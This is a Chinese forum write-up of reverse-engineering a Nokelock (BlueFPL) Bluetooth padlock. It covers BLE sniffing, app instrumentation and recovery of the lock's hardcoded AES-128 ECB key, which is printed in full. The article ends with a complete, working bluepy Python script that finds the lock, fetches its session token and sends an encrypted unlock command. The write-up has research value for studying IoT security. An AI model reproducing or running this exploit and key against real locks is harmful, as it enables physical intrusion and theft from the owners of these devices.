本文为看雪论坛精华文章
看雪论坛作者ID:Nameless_a
前言
nRF蓝牙抓包
可以看出设备名为BlueFPL,MAC地址为F0:45:DA:AA:F4:36。
蓝牙扫描
初步扫描
然后通过characteristics命令看查所有的特性:
深入扫描
(1)首先需要安装go环境:
sudo apt install golang-go
echo "export GOPROXY=https://goproxy.io,direct" >> ~/.profile && source ~/.profile
sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config
git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install
sudo bettercap
ble.recon on
蓝牙抓包
初步扫描
(btatt.opcode == "Handle Value Notification" && btatt.handle == 0x6 ) || (btatt.opcode == "Write Request" && btatt.handle == 0x3)
思路二:从BUG日志中获取蓝牙HCI日志
嗅探是中间信道,很可能会受到干扰,于是我们尝试从手机的蓝牙日志里直接获取和锁的通信。
LC_CTYPE=C sed -n "/BEGIN:BTSNOOP_LOG_SUMMARY/,/END:BTSNOOP_LOG_SUMMARY/p " bugreport-ASK-AL00x-HONORASK-AL00x-2023-04-03-08-31-01.txt | egrep -av "BTSNOOP_LOG_SUMMARY" | python btsnooz.py > hci.log
而且这种方法对我平时用的手机也不生效,甚至不能产生hci.log文件。
app逆向分析(初步)
arg2对应的是密文/明文,arg3对应的是密钥。
app插桩
插桩过程
https://bbs.kanxue.com/thread-276708.htm
invoke-static {p0}, LSewellDinGLog;->Log([B)V
非常神奇,然后顺利成章的我的手机也能装了。
插桩打印信息分析
F:platform-tools>adb logcat -s SewellDinG
--------- beginning of main
03-27 17:18:08.895 31117 31117 D SewellDinG: 05010630303030303082E3C89616017D
03-27 17:18:08.895 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:08.895 31117 31117 D SewellDinG: 6629B62C88A7E50525E92C328AF258E6
03-27 17:18:10.114 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:10.114 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:10.114 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:11.770 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:11.771 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:11.772 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
03-27 17:18:37.864 31117 31117 D SewellDinG: 05010630303030303082E3C89601635C
03-27 17:18:37.864 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:37.864 31117 31117 D SewellDinG: 3FFA9BE0BA05D2ECC8CF74D2CDB7867C
03-27 17:18:39.263 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:39.263 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:39.263 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:40.923 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:40.923 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:40.924 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
解密
请用python实现一个密钥的16进制字符表示形式是241F632E5907042061014C1A3A45193B的ECB模式无padding的AES-128解密程序,并以16进制字符串的形式输出打印明文
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
# 转换输入的16进制字符串为字节串
key_hex = "241F632E5907042061014C1A3A45193B"
key = binascii.unhexlify(key_hex)
#key = b"[B@7ef20235"
# 创建 AES 密钥
if len(key) == 16: # 128 bit
algorithm = algorithms.AES(key)
else:
raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
#iv = "a20e10ec8ebfd6069c1f84a9cff39e33"
iv = "51653e25e098f5e74e0f152062ee6d5d"
encrypted_data = binascii.unhexlify(iv)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 打印解密结果
print(binascii.hexlify(decrypted_data))
答案是否定的,这个value以及它解出来的text是会变的,这一点比照前面adb打印插桩的同样的”0501″开头的数据就知道。所以我们还需要知道怎么获得这个”变”的东西。
猜测变化的值和这里有关。
不难看出,这里的代码应该是app接收到蓝牙锁返回的”Handle Value Notification”的value,将它解密过后根据前4个字符去执行对应的功能。而且根据”0202″这个分支里的具体内容已经能大致猜测这里响应的内容是什么了——电池电量,因为有个(v1<=100)的判断,然后对v3这个bool变量赋值判断是否合法。
但这个说法还有待验证,以及我们还不知道”v0.a()”执行了什么操作,于是需要更深入的逆向。
app逆向(深入)
对于说法的验证
在下面能找到分别对这两个Characteristic的操作:
探究v0的操作
于是我们去找”OPEN_LOCK”的地方,因为那里大概率会有响应的”TOKEN”。
探究”OPEN_LOCK”写入了什么
红框部分通过对”SET_B_ARRAY”的逆向,可以得到是:
(0x6,0x30,0x30,0x30,0x30,0x30,0x30)
对应了OPEN_LOCK解密的部分数据:06303030303030
其余数据能够在父类TX_Order里看出来:
蓝色部分是0501,绿色部分是刚才的那块数据,红色部分应该是Token,剩下的黄色部分使用随机数进行填充。
响应的TOKEN
如何GET_TOKEN
和”OPEN_LOCK”不一样的地方就是它重写了a()这个方法,可以很容易分析出响应头为”06010101″。
发送数据尝试开锁
(1)APP发送GET_TOKEN请求,锁返回TOKEN
(2)APP根据锁返回的TOKEN,执行开锁命令
安装Bluepy
安装依赖(使用python3环境):
sudo apt-get install python3-pip libglib2.0-dev
sudo pip3 install bluepy
sudo apt-get install git build-essential libglib2.0-dev
git clone https://github.com/IanHarvey/bluepy.git
cd bluepy
python setup.py build
sudo python setup.py install
Bluepy的基本使用
http://ianharvey.github.io/bluepy-doc/
扫描
scanner = Scanner()
devices = scanner.scan(timeout=3)
print("%-30s %-10s" % ("Name", "Address"))
for dev in devices:
print("%-30s %-20s" % (dev.getValueText(9), dev.addr))
建立连接
addr = ""
conn = Peripheral(addr)
获取Service
services = conn.getServices()
for svc in services:
print(svc.uuid)
获取Service
# 1. 获取所有 Characteristic
characteristics = conn.getCharacteristics()
for charac in characteristics:
print(charac.uuid)
# 2. 获取特定 Service 下的 Characteristic
characteristics = svc.getCharacteristics()
读写Characteristic
charac.read()
charac.write()
尝试开锁
订阅Notification
class NotifyDelegate(DefaultDelegate):
def __init__(self,params):
DefaultDelegate.__init__(self)
def handleNotification(self,cHandle,data):
global TOKEN
print("Notification from Handle: 0x" + format(cHandle,"02X"))
TOKEN = decrypt(binascii.hexlify(data))
print(TOKEN)
获取token
while True:
if conn.waitForNotifications(1.0):
break
print("Wating....")
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
发包开锁
pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
完整代码
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
from bluepy.btle import Scanner,Peripheral,DefaultDelegate
KEY = "241F632E5907042061014C1A3A45193B"
TOKEN = ""
class NotifyDelegate(DefaultDelegate):
def __init__(self,params):
DefaultDelegate.__init__(self)
def handleNotification(self,cHandle,data):
global TOKEN
print("Notification from Handle: 0x" + format(cHandle,"02X"))
TOKEN = decrypt(binascii.hexlify(data))
print(TOKEN)
def decrypt(plaintext):
key = binascii.unhexlify(KEY)
# 创建 AES 密钥
if len(key) == 16: # 128 bit
algorithm = algorithms.AES(key)
else:
raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
encrypted_data = binascii.unhexlify(plaintext)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 解密结果
return binascii.hexlify(decrypted_data)
def encrypt(plaintext):
# 将密钥从16进制字符串转换为字节数组
key = binascii.unhexlify(KEY)
# 创建AES加密器对象
backend = default_backend()
algorithm = algorithms.AES(key)
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
encryptor = cipher.encryptor()
# 对明文进行加密
decrypted_data = binascii.unhexlify(plaintext)
encrypted_data = encryptor.update(decrypted_data) + encryptor.finalize()
# 将密文转换为16进制字符串返回
return binascii.hexlify(encrypted_data)
def done(addr):
global TOKEN
print("[+]Find BlueFPL")
print("[+]Try Connecting.....")
conn = Peripheral(addr)
if conn:
print("[+]Connecting successfully!")
conn.withDelegate(NotifyDelegate(conn))
else:
print("[+]Fail to connet")
exit(1)
print("[+]Try find fee7")
svc_uuid = "0000fee7-0000-1000-8000-00805f9b34fb"
svc = conn.getServiceByUUID(svc_uuid)
if svc :
print("[+]Found fee7!")
else :
print("[+]fee7 not found")
exit(1)
print(svc.uuid)
TX_CHAR = conn.getCharacteristics(uuid = "000036f5-0000-1000-8000-00805f9b34fb")[0]
RX_CHAR = conn.getCharacteristics(uuid = "000036f6-0000-1000-8000-00805f9b34fb")[0]
print("[+]Try GET_TOKEN")
pd = "06010101000000000000000000000000"
hEcg = RX_CHAR.getHandle()
hEcgcc = 0
for descriptor in conn.getDescriptors(hEcg,svc.hndEnd):
if (descriptor.uuid == 0x2902):
print("[+]Found descriptor handle")
hEcgcc = descriptor.handle
if hEcgcc == 0:
print("Fail to find descriptor handle")
exit(1)
print("[+]Descriptor handle:"+str(hEcgcc))
conn.writeCharacteristic(hEcgcc,bytes([1,0]))
while True:
if conn.waitForNotifications(1.0):
break
print("Wating....")
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
TOKEN = TOKEN[6:14]
print(b"[+]TOKEN:"+TOKEN)
print("[+]Try OPEN_LOCK")
pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
print("[+]Open successfully!")
conn.disconnect()
if __name__ == "__main__":
scanner = Scanner()
devices = scanner.scan(timeout = 3)
for dev in devices:
if dev.getValueText(9) and ("BlueFPL" in dev.getValueText(9)):
done(dev.addr)
执行效果
参考文章
(https://www.cnblogs.com/iini/p/12334646.html)
(https://www.cnblogs.com/caizhaokai/p/10944667.html)
(https://www.cnblogs.com/zjutlitao/p/10171913.html)
看雪ID:Nameless_a
https://bbs.kanxue.com/user-home-943085.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):关于Nokelock蓝牙锁破解分析